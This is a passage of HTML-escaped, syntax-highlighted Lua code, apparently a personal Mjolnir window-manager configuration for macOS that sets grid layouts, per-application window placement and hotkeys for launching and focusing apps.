      &lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;app&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;appfinder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;app_from_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;appName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;app&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;win&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ipairs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;allwindows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;applyPlace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;place&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;createHotkeys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;keycodes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;inputsourcechanged&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rebindHotkeys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;show&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Mjolnir, at your service.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;-- Actual config =================================&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;hyper&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;alt&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;ctrl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;shift&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- Set grid size.&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GRIDWIDTH&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GRIDHEIGHT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MARGINX&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MARGINY&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GRIDWIDTH&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GRIDHEIGHT&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gomiddle&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;w&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;goleft&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;w&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gw&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;goright&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gw&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;w&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gw&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gobig&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;w&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fullApps&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;s2&quot;&gt;&quot;Safari&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Aurora&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Nightly&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Xcode&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Qt Creator&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Google Chrome&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;s2&quot;&gt;&quot;Google Chrome Canary&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Eclipse&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Coda 2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;iTunes&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Emacs&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Firefox&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;layout2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Airmail&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gomiddle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Spotify&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gomiddle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Calendar&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gomiddle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Dash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gomiddle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;iTerm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;goright&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;MacRanger&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;goleft&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;fnutils&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;each&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fullApps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;layout2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gobig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;definitions&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;saveFocus&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;focusSaved&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gridset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gomiddle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gridset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;goleft&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;maximize_window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gridset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;goright&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;g&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;applyLayout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;layout2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;d&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pushwindow_nextscreen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mjolnir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;reload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;q&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;appfinder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;app_from_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Mjolnir&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kill&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hints&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;appHints&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;appfinder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;app_from_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Emacs&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hints&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;appHints&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;focusedwindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;application&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ec&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hints&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;windowHints&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;-- launch and focus applications&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;fnutils&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;each&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;o&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;app&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;MacRanger&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;e&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;app&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Google Chrome&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;u&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;app&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Emacs&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;i&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;app&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;iTerm&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;m&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;app&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Airmail&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;definitions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;application&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;launchorfocus&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span 